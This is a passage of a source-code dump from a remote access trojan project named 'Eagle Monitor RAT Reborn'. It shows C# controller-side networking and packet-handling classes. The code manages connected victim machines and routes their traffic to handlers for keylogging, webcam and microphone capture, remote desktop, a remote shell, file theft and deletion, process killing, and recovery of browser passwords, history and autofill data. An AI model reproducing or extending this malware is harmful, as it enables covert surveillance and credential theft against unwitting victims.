 bSize[2] = \"MB\"; //Megabytes\n            bSize[3] = \"GB\"; //Gigabytes\n            bSize[4] = \"TB\"; //Terabytes\n            bSize[5] = \"PB\"; //Petabytes\n            bSize[6] = \"EB\"; //Exabytes\n            bSize[7] = \"ZB\"; //Zettabytes\n            bSize[8] = \"YB\"; //Yottabytes\n\n            double b2 = (double)b;\n\n            for (i = bSize.GetUpperBound(0); i >= 0; i--)\n            {\n                if (b2 >= (Math.Pow(1024, i)))\n                {\n                    tempNumeric2Bytes = ThreeNonZeroDigits(b2 / (Math.Pow(1024, i))) + \" \" + bSize[i];\n                    break;\n                }\n            }\n            return tempNumeric2Bytes;\n        }\n\n        private static string ThreeNonZeroDigits(double value)\n        {\n            if (value >= 100)\n            {\n                // No digits after the decimal.\n                return Microsoft.VisualBasic.Strings.Format(Convert.ToInt32(value));\n            }\n            else if (value >= 10)\n            {\n                // One digit after the decimal.\n                return value.ToString(\"0.0\");\n            }\n            else\n            {\n                return value.ToString(\"0.00\");\n            }\n        }\n\n        internal async static Task<string> CheckVersionAsync()\n        {\n            await Task.Run(() =>\n            {\n                using (HttpRequest httpRequest = new HttpRequest())\n                {\n                    httpRequest.IgnoreProtocolErrors = true;\n                    httpRequest.UserAgent = Http.ChromeUserAgent();\n                    httpRequest.ConnectTimeout = 2500;\n                    string request = httpRequest.Get(\"https://api.github.com/repos/arsium/EagleMonitorRAT/releases\").ToString();\n                    return request;\n                }\n            });\n            return await CheckVersionAsync();\n        }\n\n        internal static string SHA512(string input)\n        {\n            var bytes = Encoding.UTF8.GetBytes(input);\n            using (var hash = System.Security.Cryptography.SHA512.Create())\n            {\n                var hashedInputBytes = hash.ComputeHash(bytes);\n                var hashedInputStringBuilder = new System.Text.StringBuilder(128);\n                foreach (var b in hashedInputBytes)\n                    hashedInputStringBuilder.Append(b.ToString(\"X2\"));\n                return hashedInputStringBuilder.ToString().ToUpper();\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/ChatHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class ChatHandler : IDisposable\n    {\n        internal ClientHandler clientHandler { get; set; }\n        internal string baseIp { get; set; }\n\n        public void Dispose()\n        {\n            clientHandler.socket.Close();\n            if (clientHandler.socket != null)\n            {\n                clientHandler.socket.Dispose();\n                clientHandler.socket = null;\n                clientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/ClientHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.Misc;\nusing PacketLib;\nusing PacketLib.Packet;\nusing PacketLib.Utils;\nusing System;\nusing System.Collections.Generic;\nusing System.Drawing;\nusing System.IO;\nusing System.Net.Sockets;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class ClientHandler : IDisposable\n    {\n        static ClientHandler()\n        {\n            ClientHandlersList = new Dictionary<string, ClientHandler>();\n            readDataAsync = new ReadDataAsync(ReceiveData);\n            parsePacketAsync = new ParsePacketAsync(ParsePacket);\n            sendDataAsync = new SendDataAsync(SendData);\n        }\n\n        internal static Dictionary<string, ClientHandler> ClientHandlersList { get; set; }\n        internal static int CurrentClientsNumber { get { return ClientHandlersList.Count; } }\n\n        private static readonly ReadDataAsync readDataAsync;\n        private static readonly ParsePacketAsync parsePacketAsync;\n        private static readonly SendDataAsync sendDataAsync;\n\n        private delegate byte[] ReadDataAsync(ClientHandler clientHandler);\n        private delegate IPacket ParsePacketAsync(byte[] BufferPacket);\n        private delegate IPacket SendDataAsync(ClientHandler clientHandler, IPacket data);\n\n        internal static void SendPacketToMultipleClients(IPacket packet)\n        {\n            foreach (DataGridViewRow dataGridViewRow in Program.mainForm.clientDataGridView.SelectedRows)\n            {\n                StartSendData(ClientHandler.ClientHandlersList[dataGridViewRow.Cells[2].Value.ToString()], packet);\n            }\n        }\n\n        #region \"Non Static\"\n        internal Socket Socket { get; set; }\n        internal string IP { get; set; }\n        internal string HWID { get; set; }\n        internal string FullName { get; set; }\n        internal DataGridViewRow ClientRow { get; set; }\n        internal int ServerPort { get; set; }\n        internal string ClientPath { get; set; }\n        internal string ClientStatus { get; set; }\n        internal bool Is64bitClient { get; set; }\n        internal bool IsAdmin { get; set; }\n        internal EncryptionInformation EncryptionInformation { get; set; }\n\n        internal ClientForm ClientForm { get; set; }\n        internal long TotalBytesReceived { get; set; }\n        internal long TotalBytesSent { get; set; }\n\n        internal ClientHandler(Socket sock, int port) : base()\n        {\n            this.Socket = sock;\n            this.IP = Socket.RemoteEndPoint.ToString();\n            this.ServerPort = port;\n            StartReceiveData(this);\n        }\n        #endregion\n        #region \"Receive\"\n        private static void StartReceiveData(ClientHandler clientHandler)\n        {\n            if (clientHandler.Socket != null)\n                readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceiveData), clientHandler);\n            else\n                return;\n        }\n\n        private static byte[] ReceiveData(ClientHandler clientHandler)\n        {\n            try\n            {\n                int total = 0;\n                int recv;\n                byte[] header = new byte[5];\n                clientHandler.Socket.Poll(-1, SelectMode.SelectRead);\n                recv = clientHandler.Socket.Receive(header, 0, 5, 0);\n\n                int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0);\n                PacketType packetType = (PacketType)header[4];\n\n                int dataleft = size;\n                byte[] data = new byte[size];\n                while (total < size)\n                {\n                    recv = clientHandler.Socket.Receive(data, total, dataleft, 0);\n                    total += recv;\n                    dataleft -= recv;\n                }\n                return data;\n            }\n            catch (Exception ex)\n            {\n                if (ex is SocketException)\n                    clientHandler.Dispose();\n                return null;\n                /*SocketException sockError = ex as SocketException;\n                if (sockError != null)\n                    clientHandler.Dispose();\n                return null;*/\n            }\n        }\n        private static void EndReceiveData(IAsyncResult ar)\n        {\n            byte[] data = readDataAsync.EndInvoke(ar);\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n\n            if (data != null && data.Length > 0)\n                StartParsePacket(data, clientHandler);\n\n            if (clientHandler.Socket != null)\n                StartReceiveData(clientHandler);\n        }\n        #endregion\n        #region \"Parser\"\n        private static void StartParsePacket(byte[] data, ClientHandler clientHandler) \n        {\n            parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler);\n        }\n\n        private static IPacket ParsePacket(byte[] BufferPacket)\n        {\n            IPacket packet = BufferPacket.DeserializePacket(Program.settings.key);\n            packet.PacketSize = BufferPacket.Length;\n            return packet;\n        }\n\n        private static void EndParsePacket(IAsyncResult ar)\n        {\n            IPacket packet = parsePacketAsync.EndInvoke(ar);\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n            /* if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//!!! if password recovery tasks and similar\n             {*/\n            if (packet != null)\n            {\n                switch (packet.PacketType)\n                {\n                    case PacketType.CONNECTED:\n                        lock (ClientHandlersList)\n                        {\n                            ClientHandlersList.Add(clientHandler.IP, clientHandler);\n                            Controls.Utils.SetTotalClients();\n                        }\n                        //new PacketHandler(packet, this);\n                        PacketHandler.StartHandlePacket(packet, clientHandler);\n                        break;\n\n                    case PacketType.RM_VIEW_ON:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//we could even receive packet after closing form\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        break;\n\n                    case PacketType.RC_CAPTURE_ON:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        break;\n\n                    case PacketType.AUDIO_RECORD_ON:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        break;\n\n                    case PacketType.KEYLOG_ON:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        //new PacketHandler(packet, this);\n                        break;\n\n                    case PacketType.FM_DOWNLOAD_FILE:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        // new PacketHandler(packet, this);\n                        break;\n\n                    case PacketType.CHAT_ON:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        break;\n\n                    case PacketType.SHELL_START:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        break;\n\n                    case PacketType.SHELL_COMMAND:\n                        if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)\n                        {\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler;\n                            ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID;\n                            PacketHandler.StartHandlePacket(packet, clientHandler);\n                        }\n                        break;\n\n                    default:\n                        PacketHandler.StartHandlePacket(packet, ClientHandler.ClientHandlersList[packet.BaseIp]);\n                        clientHandler.Dispose();\n                        break;\n                }\n            }\n        }\n        #endregion\n        #region \"Send\"\n        internal static void StartSendData(ClientHandler clientHandler, IPacket packet)\n        {\n            packet.HWID = clientHandler.HWID;\n            if(    packet.PacketType != PacketType.RM_VIEW_OFF\n                && packet.PacketType != PacketType.RM_VIEW_ON\n                && packet.PacketType != PacketType.RM_MOUSE\n                && packet.PacketType != PacketType.RM_KEYBOARD\n                && packet.PacketType != PacketType.RC_CAPTURE_OFF\n                && packet.PacketType != PacketType.RC_CAPTURE_ON\n                && packet.PacketType != PacketType.AUDIO_RECORD_OFF\n                && packet.PacketType != PacketType.AUDIO_RECORD_ON\n                && packet.PacketType != PacketType.KEYLOG_OFF\n                && packet.PacketType != PacketType.KEYLOG_ON\n                && packet.PacketType != PacketType.CHAT_OFF\n                && packet.PacketType != PacketType.CHAT_ON\n                && packet.PacketType != PacketType.SHELL_STOP \n                && packet.PacketType != PacketType.SHELL_COMMAND\n                )\n                packet.BaseIp = clientHandler.IP;\n\n            if (clientHandler.Socket != null)\n                sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendData), clientHandler);\n        }\n\n        private static IPacket SendData(ClientHandler clientHandler, IPacket data)\n        {\n            byte[] encryptedData = data.SerializePacket(Program.settings.key);\n\n            int total = 0;\n            int size = encryptedData.Length;\n            int datalft = size;\n            byte[] header = new byte[5];\n\n            byte[] temp = BitConverter.GetBytes(size);\n            data.PacketSize = size;\n\n            header[0] = temp[0];\n            header[1] = temp[1];\n            header[2] = temp[2];\n            header[3] = temp[3];\n            header[4] = (byte)data.PacketType;\n\n            lock (clientHandler.Socket)\n            {\n                try\n                {\n                    clientHandler.Socket.Poll(-1, SelectMode.SelectWrite);\n                    int sent = clientHandler.Socket.Send(header);\n\n                    if (size > 1000000)\n                    {\n                        using (MemoryStream memoryStream = new MemoryStream(encryptedData))\n                        {\n                            int read = 0;\n                            memoryStream.Position = 0;\n                            byte[] chunk = new byte[50 * 1000];\n                            while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)\n                            {\n                                clientHandler.Socket.Send(chunk, 0, read, SocketFlags.None);\n                            }\n                        }\n                    }\n                    else\n                    {\n                        while (total < size)\n                        {\n                            sent = clientHandler.Socket.Send(encryptedData, total, size, SocketFlags.None);\n                            total += sent;\n                            datalft -= sent;\n                        }\n                    }\n                    data.PacketState = PacketState.SENT;\n                }\n                catch (Exception ex)\n                {\n                    data.PacketState = PacketState.NOT_SENT;\n                    data.Status = ex.Message;\n                    if (ex is SocketException)\n                        clientHandler.Dispose();\n                    /* data.packetState = PacketState.NOT_SENT;\n                     data.status = ex.Message;\n                     SocketException sockError = ex as SocketException;\n                     if (sockError != null)\n                         clientHandler.Dispose();*/\n                }\n            }\n            return data;\n        }\n        private static void EndSendData(IAsyncResult ar)\n        {\n            IPacket packet = sendDataAsync.EndInvoke(ar);\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n            IAsyncResult result;\n\n            packet.DatePacketStatus = DateTime.Now.ToString();\n\n            string size = Misc.Utils.Numeric2Bytes(packet.PacketSize);\n\n            switch (packet.PacketType) \n            {\n                case PacketType.RM_VIEW_OFF:\n                    lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler)\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.Dispose();\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler = null;\n                    }\n                    break;\n\n                case PacketType.RC_CAPTURE_OFF:\n                    lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler)\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.Dispose();\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler = null;\n                    }\n                    break;\n\n                case PacketType.AUDIO_RECORD_OFF:\n                    lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler)\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.Dispose();\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler = null;\n                    }\n                    break;\n\n                case PacketType.KEYLOG_OFF:\n                    lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler)\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.Dispose();\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler = null;\n                    }\n                    break;\n\n                case PacketType.CHAT_OFF:\n                    lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler)\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.Dispose();\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler = null;\n                    }\n                    break;\n\n                case PacketType.SHELL_STOP:\n                    lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler)\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.Dispose();\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler = null;\n                    }\n                    break;\n            }\n\n            if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null\n                && packet.PacketType != PacketType.CLOSE_CLIENT\n                && packet.PacketType != PacketType.UNINSTALL_CLOSE_CLIENT)\n            {\n\n                try//Label deleted when closin form\n                {\n                    ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Invoke((Action)(() =>\n                    {\n                        ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Text = $\"Bytes sent : {size}\";\n                    }));\n                }\n                catch {}\n            }\n\n            #region \"Logs\"\n            result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() =>\n            {\n                int rowId = Program.mainForm.logsDataGridView.Rows.Add();\n                DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId];\n                row.Cells[\"Column11\"].Value = packet.HWID;\n                row.Cells[\"Column12\"].Value = packet.BaseIp;\n                row.Cells[\"Column13\"].Value = packet.PacketType.ToString();\n                row.Cells[\"Column14\"].Style.ForeColor = Color.FromArgb(66, 182, 245);\n                row.Cells[\"Column14\"].Value = packet.PacketState;\n                row.Cells[\"Column15\"].Value = packet.DatePacketStatus;\n                row.Cells[\"Column17\"].Value = size;\n\n                if (packet.PacketState == PacketState.NOT_SENT)\n                {\n                    row.Cells[\"Column16\"].Value = packet.Status;\n                    return;\n                }\n                else\n                {\n                    switch (packet.PacketType)\n                    {\n                        case PacketType.FM_DOWNLOAD_FILE:\n                            row.Cells[\"Column16\"].Value = ((DownloadFilePacket)packet).fileName;\n                            break;\n\n                        case PacketType.FM_DELETE_FILE:\n                            row.Cells[\"Column16\"].Value = ((DeleteFilePacket)packet).path;\n                            break;\n\n                        case PacketType.FM_START_FILE:\n                            row.Cells[\"Column16\"].Value = ((StartFilePacket)packet).filePath;\n                            break;\n\n                        case PacketType.FM_GET_FILES_AND_DIRS:\n                            row.Cells[\"Column16\"].Value = ((FileManagerPacket)packet).path;\n                            break;\n\n                        case PacketType.SHELL_COMMAND:\n                            row.Cells[\"Column16\"].Value = ((NewCommandShellSessionPacket)packet).shellCommand;\n                            break;\n                    }\n                }\n                Program.mainForm.logsDataGridView.ClearSelection();\n                Program.mainForm.logsDataGridView.CurrentCell = null;\n\n            }));\n            Program.mainForm.logsDataGridView.EndInvoke(result);\n            #endregion  \n            packet = null;\n        }\n        #endregion\n        #region \"Cleaning Memory\"\n        public void Dispose()\n        {\n            Socket?.Shutdown(SocketShutdown.Both);\n            Socket?.Close();\n            Socket?.Dispose();\n            Socket = null;\n\n            if (ClientHandlersList.ContainsKey(this.IP))\n                ClientHandlersList.Remove(this.IP);\n\n            Controls.Utils.SetTotalClients();\n\n            if (this.ClientRow != null)\n            {\n                lock (Program.mainForm.clientDataGridView)\n                {\n                    Program.mainForm.clientDataGridView.Invoke((MethodInvoker)(() =>\n                    {\n                        Program.mainForm.clientDataGridView.Rows.Remove(this.ClientRow);\n                    }));\n                }\n                Controls.Utils.CloseForm(this.ClientForm);\n                this.ClientForm?.Dispose();\n                this.ClientForm = null;\n                GC.SuppressFinalize(this);\n            }\n            Miscellaneous.CleanMemory();\n        }\n        #endregion\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/KeyloggerHandler.cs",
    "content": "﻿using System;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class KeyloggerHandler : IDisposable\n    {\n        internal ClientHandler clientHandler { get; set; }\n        internal string baseIp { get; set; }\n\n        public void Dispose()\n        {\n            clientHandler.socket.Close();\n            if (clientHandler.socket != null)\n            {\n                clientHandler.socket.Dispose();\n                clientHandler.socket = null;\n                clientHandler = null;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs",
    "content": "﻿using Eagle_Monitor_RAT_Reborn.PacketHandler;\nusing PacketLib;\nusing PacketLib.Packet;\nusing System;\nusing System.Drawing;\nusing System.Windows.Forms;\n\n/* \n|| AUTHOR Arsium ||\n|| github : https://github.com/arsium       ||\n*/\n\nnamespace Eagle_Monitor_RAT_Reborn.Network\n{\n    internal class PacketHandler\n    {\n        static PacketHandler()\n        {\n            packetParser = new PacketHandle(HandlePacket);\n        }\n\n        private delegate IPacket PacketHandle(IPacket packet, ClientHandler clientHandler);\n\n        private static readonly PacketHandle packetParser;\n\n        internal static void StartHandlePacket(IPacket packet, ClientHandler clientHandler)\n        {\n            packetParser.BeginInvoke(packet, clientHandler, new AsyncCallback(EndHandlePacket), clientHandler);\n        }\n\n        private static void EndHandlePacket(IAsyncResult ar)\n        {\n            IPacket packet = packetParser.EndInvoke(ar);\n            ClientHandler clientHandler = (ClientHandler)ar.AsyncState;\n            IAsyncResult result;\n            string size = Misc.Utils.Numeric2Bytes(packet.PacketSize);\n\n            if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null && ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel != null)\n            {\n                result = ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.BeginInvoke((Action)(() =>\n                {\n                    ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.Text = $\"Bytes received : {size}\";\n                }));\n                ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.EndInvoke(result);\n            }\n\n            switch (packet.PacketType)\n            {\n                case PacketType.CONNECTED:\n                    ClientHandler.StartSendData(clientHandler, new BaseIpPacket(packet.BaseIp));\n                    //ClientHandler.ClientHandlersList[packet.baseIp].SendPacket(new BaseIpPacket(packet.baseIp));\n                    break;\n\n                case PacketType.RC_CAPTURE_ON:\n                    return;\n\n                case PacketType.RM_VIEW_ON:\n                    return;\n\n                case PacketType.AUDIO_RECORD_ON:\n                    return;\n\n                case PacketType.SHELL_COMMAND:\n                    return;\n\n                default:\n                    result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() =>\n                    {\n                        int rowId = Program.mainForm.logsDataGridView.Rows.Add();\n                        DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId];\n                        row.Cells[\"Column11\"].Value = packet.HWID;\n                        row.Cells[\"Column12\"].Value = packet.BaseIp;\n                        row.Cells[\"Column13\"].Value = packet.PacketType.ToString();\n                        row.Cells[\"Column14\"].Style.ForeColor = Color.FromArgb(197, 66, 245);\n                        row.Cells[\"Column14\"].Value = packet.PacketState;\n                        row.Cells[\"Column15\"].Value = packet.DatePacketStatus;\n                        row.Cells[\"Column17\"].Value = size;\n\n                        switch (packet.PacketType)\n                        {\n                            case PacketType.FM_DOWNLOAD_FILE:\n                                row.Cells[\"Column16\"].Value = ((DownloadFilePacket)packet).fileName;\n                                break;\n\n                            case PacketType.FM_DELETE_FILE:\n                                /*  if (((DeleteFilePacket)packet).deleted == true)\n                                      row.Cells[\"Column16\"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + \" DELETED\";\n                                  else\n                                      row.Cells[\"Column16\"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + \" NOT DELETED\";*/\n                                break;\n\n                            case PacketType.FM_START_FILE:\n                                row.Cells[\"Column16\"].Value = ((StartFilePacket)packet).filePath;\n                                break;\n\n                            case PacketType.FM_GET_FILES_AND_DIRS:\n                                row.Cells[\"Column16\"].Value = ((FileManagerPacket)packet).path;\n                                break;\n\n                            case PacketType.CONNECTED:\n                                row.Cells[\"Column16\"].Value = ClientHandler.ClientHandlersList[packet.BaseIp].ClientStatus;\n                                break;\n\n                            case PacketType.FM_SHORTCUT_PATH:\n                                row.Cells[\"Column16\"].Value = ((ShortCutFileManagersPacket)packet).shortCuts;\n                                break;\n\n                            case PacketType.FM_UPLOAD_FILE:\n                                /* if (((UploadFilePacket)packet).uploaded == true)\n                                     row.Cells[\"Column16\"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + \" UPLOADED\";\n                                 else\n                                     row.Cells[\"Column16\"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + \" NOT UPLOADED\";*/\n                                break;\n\n                            case PacketType.CHAT_ON:\n                                row.Cells[\"Column16\"].Value = ((RemoteChatPacket)packet).msg;\n                                break;\n\n                            case PacketType.UAC_DELETE_RESTORE_POINT:\n                                if (((DeleteRestorePointPacket)packet).deleted == true)\n                                    row.Cells[\"Column16\"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + \" DELETED\";\n                                else\n                                    row.Cells[\"Column16\"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + \" NOT DELETED\";\n                                break;\n                        }\n                        Program.mainForm.logsDataGridView.ClearSelection();\n                        Program.mainForm.logsDataGridView.CurrentCell = null;\n                    }));\n\n                    Program.mainForm.logsDataGridView.EndInvoke(result);\n                    break;\n            }\n\n            packet = null;\n        }\n\n        private static IPacket HandlePacket(IPacket packet, ClientHandler clientHandler)\n        {\n            switch (packet.PacketType)\n            {\n                case PacketType.CONNECTED:\n                    new ConnectedPacketHandler((ConnectedPacket)packet, clientHandler);\n                    break;\n\n                case PacketType.RECOVERY_PASSWORDS:\n                    PasswordsPacket pass = (PasswordsPacket)packet;\n                    new PasswordsPacketHandler(pass);\n                    break;\n\n                case PacketType.RECOVERY_HISTORY:\n                    HistoryPacket history = (HistoryPacket)packet;\n                    new HistoryPacketHandler(history);\n                    break;\n\n                case PacketType.RECOVERY_AUTOFILL:\n                    AutofillPacket autofillPacket = (AutofillPacket)packet;\n                    new AutofillPacketHandler(autofillPacket);\n                    break;\n\n                case PacketType.RECOVERY_KEYWORDS:\n                    KeywordsPacket keywordsPacket = (KeywordsPacket)packet;\n                    new KeywordsPacketHandler(keywordsPacket);\n                    break;\n\n                case PacketType.FM_GET_DISK:\n                    DiskPacket disk = (DiskPacket)packet;\n                    new DisksPacketHandler(disk);\n                    break;\n\n                case PacketType.FM_GET_FILES_AND_DIRS:\n                    FileManagerPacket fileManagerPacket = (FileManagerPacket)packet;\n                    new FileManagerPacketHandler(fileManagerPacket);\n                    break;\n\n                case PacketType.FM_SHORTCUT_PATH:\n                    ShortCutFileManagersPacket shortCutFileManagersPacket = (ShortCutFileManagersPacket)packet;\n                    new ShortCutFileManagersPacketHandler(shortCutFileManagersPacket);\n                    break;\n\n                case PacketType.FM_DOWNLOAD_FILE:\n                    DownloadFilePacket downloadFilePacket = (DownloadFilePacket)packet;\n                    new DownloadFilePacketHandler(downloadFilePacket, clientHandler);\n                    break;\n\n                case PacketType.FM_DELETE_FILE:\n                    DeleteFilePacket deleteFilePacket = (DeleteFilePacket)packet;\n                    new DeleteFilePacketHandler(deleteFilePacket);\n                    break;\n\n                case PacketType.PM_GET_PROCESSES:\n                    ProcessManagerPacket processManagerPacket = (ProcessManagerPacket)packet;\n                    new ProcessManagerPacketHandler(processManagerPacket);\n                    break;\n\n                case PacketType.PM_KILL_PROCESS:\n                    ProcessKillerPacket processKillerPacket = (ProcessKillerPacket)packet;\n                    new ProcessKillerPacketHandler(processKillerPacket);\n                    break;\n\n                case PacketType.PM_SUSPEND_PROCESS:\n                    SuspendProcessPacket suspendProcessPacket = (SuspendProcessPacket)packet;\n                    new SuspendProcessPacketHandler(suspendProcessPacket);\n                    break;\n\n                case PacketType.PM_RESUME_PROCESS:\n                    ResumeProcessPacket resumeProcessPacket = (ResumeProcessPacket)packet;\n                    new ResumeProcessPacketHandler(resumeProcessPacket);\n                    break;\n\n                case PacketType.RM_VIEW_ON:\n                    RemoteViewerPacket remoteViewerPacket = (RemoteViewerPacket)packet;\n                    new RemoteViewerPacketHandler(remoteViewerPacket);\n                    break;\n\n                case PacketType.RC_GET_CAM:\n                    RemoteCameraPacket remoteCameraPacket = (RemoteCameraPacket)packet;\n                    new RemoteCameraPacketHandler(remoteCameraPacket);\n                    break;\n\n                case PacketType.RC_CAPTURE_ON:\n                    RemoteCameraCapturePacket RemoteCameraCapturePacket = (RemoteCameraCapturePacket)packet;\n                    new RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket);\n                    break;\n\n                case PacketType.AUDIO_GET_DEVICES:\n                    RemoteAudioPacket remoteAudioPacket = (RemoteAudioPacket)packet;\n                    new RemoteAudioPacketHandler(remoteAudioPacket);\n                    break;\n\n                case PacketType.AUDIO_RECORD_ON:\n                    RemoteAudioCapturePacket remoteAudioCapturePacket = (RemoteAudioCapturePacket)packet;\n                    new RemoteAudioCapturePacketHandler(remoteAudioCapturePacket);\n                    break;\n\n                case PacketType.MISC_INFORMATION:\n                    InformationPacket informationPacket = (InformationPacket)packet;\n                    new InformationPacketHandler(informationPacket);\n                    break;\n\n                case PacketType.KEYLOG_ON:\n                    KeylogPacket keylogPacket = (KeylogPacket)packet;\n                    new KeylogPacketHandler(keylogPacket);\n                    break;\n\n\n                case PacketType.CHAT_ON:\n                    RemoteChatPacket chatPacket = (RemoteChatPacket)packet;\n                    new ChatPacketHandler(chatPacket);\n                    break;\n\n                case PacketType.UAC_GET_RESTORE_POINT:\n                    RestorePointPacket restorePointPacket = (RestorePointPacket)packet;\n                    new RestorePointPacketHandler(restorePointPacket);\n                    break;\n\n                case PacketType.UAC_DELETE_RESTORE_POINT:\n                    DeleteRestorePointPacket deleteRestorePointPacket = (DeleteRestorePointPacket)packet;\n                    new 